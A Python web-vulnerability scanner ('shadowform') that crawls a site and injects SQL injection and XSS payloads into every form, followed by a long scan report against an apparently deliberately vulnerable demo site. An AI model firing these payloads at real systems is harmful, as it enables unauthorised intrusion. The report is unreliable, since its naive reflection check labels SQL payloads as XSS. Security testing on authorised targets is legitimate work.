PYTHON CODE:

```
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin
import re

# -------------------------
# PAYLOADS
# -------------------------

SQL_PAYLOADS = [
    "' OR 1=1--",
    "\" OR \"1\"=\"1",
    "' OR '1'='1",
    "admin'--"
]

XSS_PAYLOADS = [
    "<svg/onload=alert(1)>",
    "<script>alert(1)</script>",
    "<img src=x onerror=alert(1)>"
]

AUTH_BYPASS = [
    "admin' OR '1'='1",
    "{\"role\":\"admin\"}"
]

# -------------------------
# CRAWLER
# -------------------------

visited = set()

def crawl(url, depth=2):
    if depth == 0 or url in visited:
        return []

    visited.add(url)
    pages = [url]

    try:
        response = requests.get(url, timeout=3)
        soup = BeautifulSoup(response.text, "html.parser")

        for link in soup.find_all("a", href=True):
```

```
            new_url = urljoin(url, link['href'])
            if new_url.startswith(url.split("/")[0]):
                pages.extend(crawl(new_url, depth - 1))

    except:
        pass

    return pages


# -------------------------
# FORM EXTRACTOR
# -------------------------

def extract_forms(url):
    forms = []
    try:
        response = requests.get(url, timeout=3)
        soup = BeautifulSoup(response.text, "html.parser")

        for form in soup.find_all("form"):
            details = {
                "action": urljoin(url, form.get("action")),
                "method": form.get("method", "get").lower(),
                "inputs": []
            }

            for inp in form.find_all(["input", "textarea", "select"]):
                details["inputs"].append(inp.get("name"))
            forms.append(details)

    except:
        pass
    return forms


# -------------------------
# ATTACK ENGINE
# -------------------------

def test_payload(url, form, payload):
    data = {}

    for name in form["inputs"]:
        if name:
            data[name] = payload

    try:
```

```
        if form["method"] == "post":
            res = requests.post(form["action"], data=data, timeout=3)
        else:
            res = requests.get(form["action"], params=data, timeout=3)

        return res.text, res.status_code
    except:
        return "", 0


def detect_vulnerabilities(response, payload):
    findings = []

    # SQL error response patterns
    sql_errors = [
        "SQL syntax", "mysql_fetch", "ORA-", "PDOException",
        "Warning: pg_"
    ]

    if any(e in response for e in sql_errors):
        findings.append(("SQL Injection", payload))

    # Reflected XSS
    if payload in response:
        findings.append(("Reflected XSS", payload))

    return findings


# -------------------------
# MAIN TEST
# -------------------------

def scan(target):
    pages = crawl(target)
    report = []

    for page in pages:
        forms = extract_forms(page)

        for form in forms:
            # SQLi test
            for p in SQL_PAYLOADS:
                html, code = test_payload(page, form, p)
                vulns = detect_vulnerabilities(html, p)
                for v in vulns:
                    report.append((page, form["action"], v[0], p))
```

```
            # XSS test
            for p in XSS_PAYLOADS:
                html, code = test_payload(page, form, p)
                vulns = detect_vulnerabilities(html, p)
                for v in vulns:
                    report.append((page, form["action"], v[0], p))

    return report


# -------------------------
# EXECUTION
# -------------------------

if __name__ == "__main__":
    target = input("Enter target URL: ")
    print("Scanning... please wait\n")

    results = scan(target)

    print("------ SHADOWFORM REPORT ------")
    for r in results:
        print(f"\nPage: {r[0]}")
        print(f"Form Action: {r[1]}")
        print(f"Vulnerability: {r[2]}")
        print(f"Payload: {r[3]}")
    print("\n--------- END ---------")
```

Output::

```
Last login: Mon Dec  1 11:37:48 on console
(base) dshaunangel@Mac ~ % nano shadowform.py
(base) dshaunangel@Mac ~ % pip install requests beautifulsoup4
python shadowform.py
Requirement already satisfied: requests in /opt/anaconda3/lib/python3.13/site-packages (2.32.3)
Requirement already satisfied: beautifulsoup4 in /opt/anaconda3/lib/python3.13/site-packages (4.12.3)
Requirement already satisfied: charset-normalizer<4,>=2 in /opt/anaconda3/lib/python3.13/site-packages (from
requests) (3.3.2)
Requirement already satisfied: idna<4,>=2.5 in /opt/anaconda3/lib/python3.13/site-packages (from requests) (3.7)
Requirement already satisfied: urllib3<3,>=1.21.1 in /opt/anaconda3/lib/python3.13/site-packages (from requests)
(2.3.0)
Requirement already satisfied: certifi>=2017.4.17 in /opt/anaconda3/lib/python3.13/site-packages (from requests)
(2025.4.26)
Requirement already satisfied: soupsieve>1.2 in /opt/anaconda3/lib/python3.13/site-packages (from beautifulsoup4)
(2.5)
Enter target URL: http://testphp.vulnweb.com
Scanning... please wait
------ SHADOWFORM REPORT ------
Page: http://testphp.vulnweb.com
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR 1=1--
Page: http://testphp.vulnweb.com
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: " OR "1"="1
Page: http://testphp.vulnweb.com
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR '1'='1
Page: http://testphp.vulnweb.com
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: SQL Injection
Payload: admin'--
Page: http://testphp.vulnweb.com
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: admin'--
Page: http://testphp.vulnweb.com
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <svg/onload=alert(1)>
Page: http://testphp.vulnweb.com
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <script>alert(1)</script>
Page: http://testphp.vulnweb.com
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <img src=x onerror=alert(1)>
```

Page: http://testphp.vulnweb.com/index.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR 1=1--
Page: http://testphp.vulnweb.com/index.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: " OR "1"="1
Page: http://testphp.vulnweb.com/index.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR '1'='1
Page: http://testphp.vulnweb.com/index.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: SQL Injection
Payload: admin'--
Page: http://testphp.vulnweb.com/index.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: admin'--
Page: http://testphp.vulnweb.com/index.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <svg/onload=alert(1)>
Page: http://testphp.vulnweb.com/index.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <script>alert(1)</script>
Page: http://testphp.vulnweb.com/index.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <img src=x onerror=alert(1)>
Page: http://testphp.vulnweb.com/categories.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR 1=1--
Page: http://testphp.vulnweb.com/categories.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: " OR "1"="1
Page: http://testphp.vulnweb.com/categories.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR '1'='1
Page: http://testphp.vulnweb.com/categories.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: SQL Injection
Payload: admin'--
Page: http://testphp.vulnweb.com/categories.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: admin'--
Page: http://testphp.vulnweb.com/categories.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <svg/onload=alert(1)>
Page: http://testphp.vulnweb.com/categories.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <script>alert(1)</script>
Page: http://testphp.vulnweb.com/categories.php
Form Action: http://testphp.vulnweb.com/search.php?test=query

Vulnerability: Reflected XSS
Payload: <img src=x onerror=alert(1)>
Page: http://testphp.vulnweb.com/artists.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR 1=1--
Page: http://testphp.vulnweb.com/artists.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: " OR "1"="1
Page: http://testphp.vulnweb.com/artists.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR '1'='1
Page: http://testphp.vulnweb.com/artists.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: SQL Injection
Payload: admin'--
Page: http://testphp.vulnweb.com/artists.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: admin'--
Page: http://testphp.vulnweb.com/artists.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <svg/onload=alert(1)>
Page: http://testphp.vulnweb.com/artists.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <script>alert(1)</script>
Page: http://testphp.vulnweb.com/artists.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <img src=x onerror=alert(1)>
Page: http://testphp.vulnweb.com/disclaimer.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR 1=1--
Page: http://testphp.vulnweb.com/disclaimer.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: " OR "1"="1
Page: http://testphp.vulnweb.com/disclaimer.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR '1'='1
Page: http://testphp.vulnweb.com/disclaimer.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: SQL Injection
Payload: admin'--
Page: http://testphp.vulnweb.com/disclaimer.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: admin'--
Page: http://testphp.vulnweb.com/disclaimer.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <svg/onload=alert(1)>
Page: http://testphp.vulnweb.com/disclaimer.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <script>alert(1)</script>

Page: http://testphp.vulnweb.com/disclaimer.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <img src=x onerror=alert(1)>
Page: http://testphp.vulnweb.com/cart.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR 1=1--
Page: http://testphp.vulnweb.com/cart.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: " OR "1"="1
Page: http://testphp.vulnweb.com/cart.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR '1'='1
Page: http://testphp.vulnweb.com/cart.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: SQL Injection
Payload: admin'--
Page: http://testphp.vulnweb.com/cart.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: admin'--
Page: http://testphp.vulnweb.com/cart.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <svg/onload=alert(1)>
Page: http://testphp.vulnweb.com/cart.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <script>alert(1)</script>
Page: http://testphp.vulnweb.com/cart.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <img src=x onerror=alert(1)>
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/guestbook.php
Vulnerability: Reflected XSS
Payload: ' OR 1=1--
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/guestbook.php
Vulnerability: Reflected XSS
Payload: " OR "1"="1
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/guestbook.php
Vulnerability: Reflected XSS
Payload: ' OR '1'='1
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/guestbook.php
Vulnerability: Reflected XSS
Payload: admin'--
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/guestbook.php
Vulnerability: Reflected XSS
Payload: <svg/onload=alert(1)>
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/guestbook.php
Vulnerability: Reflected XSS
Payload: <script>alert(1)</script>
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/guestbook.php

Vulnerability: Reflected XSS
Payload: <img src=x onerror=alert(1)>
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR 1=1--
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: " OR "1"="1
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR '1'='1
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: SQL Injection
Payload: admin'--
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: admin'--
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <svg/onload=alert(1)>
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <script>alert(1)</script>
Page: http://testphp.vulnweb.com/guestbook.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <img src=x onerror=alert(1)>
Page: http://testphp.vulnweb.com/login.php
Form Action: http://testphp.vulnweb.com/userinfo.php
Vulnerability: SQL Injection
Payload: admin'--
Page: http://testphp.vulnweb.com/login.php
Form Action: http://testphp.vulnweb.com/userinfo.php
Vulnerability: Reflected XSS
Payload: admin'--
Page: http://testphp.vulnweb.com/login.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR 1=1--
Page: http://testphp.vulnweb.com/login.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: " OR "1"="1
Page: http://testphp.vulnweb.com/login.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR '1'='1
Page: http://testphp.vulnweb.com/login.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: SQL Injection
Payload: admin'--
Page: http://testphp.vulnweb.com/login.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: admin'--

Page: http://testphp.vulnweb.com/login.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <svg/onload=alert(1)>
Page: http://testphp.vulnweb.com/login.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <script>alert(1)</script>
Page: http://testphp.vulnweb.com/login.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <img src=x onerror=alert(1)>
Page: http://testphp.vulnweb.com/userinfo.php
Form Action: http://testphp.vulnweb.com/userinfo.php
Vulnerability: SQL Injection
Payload: admin'--
Page: http://testphp.vulnweb.com/userinfo.php
Form Action: http://testphp.vulnweb.com/userinfo.php
Vulnerability: Reflected XSS
Payload: admin'--
Page: http://testphp.vulnweb.com/userinfo.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR 1=1--
Page: http://testphp.vulnweb.com/userinfo.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: " OR "1"="1
Page: http://testphp.vulnweb.com/userinfo.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: ' OR '1'='1
Page: http://testphp.vulnweb.com/userinfo.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: SQL Injection
Payload: admin'--
Page: http://testphp.vulnweb.com/userinfo.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: admin'--
Page: http://testphp.vulnweb.com/userinfo.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <svg/onload=alert(1)>
Page: http://testphp.vulnweb.com/userinfo.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <script>alert(1)</script>
Page: http://testphp.vulnweb.com/userinfo.php
Form Action: http://testphp.vulnweb.com/search.php?test=query
Vulnerability: Reflected XSS
Payload: <img src=x onerror=alert(1)>
--------- END ---------
(base) dshaunangel@Mac ~ %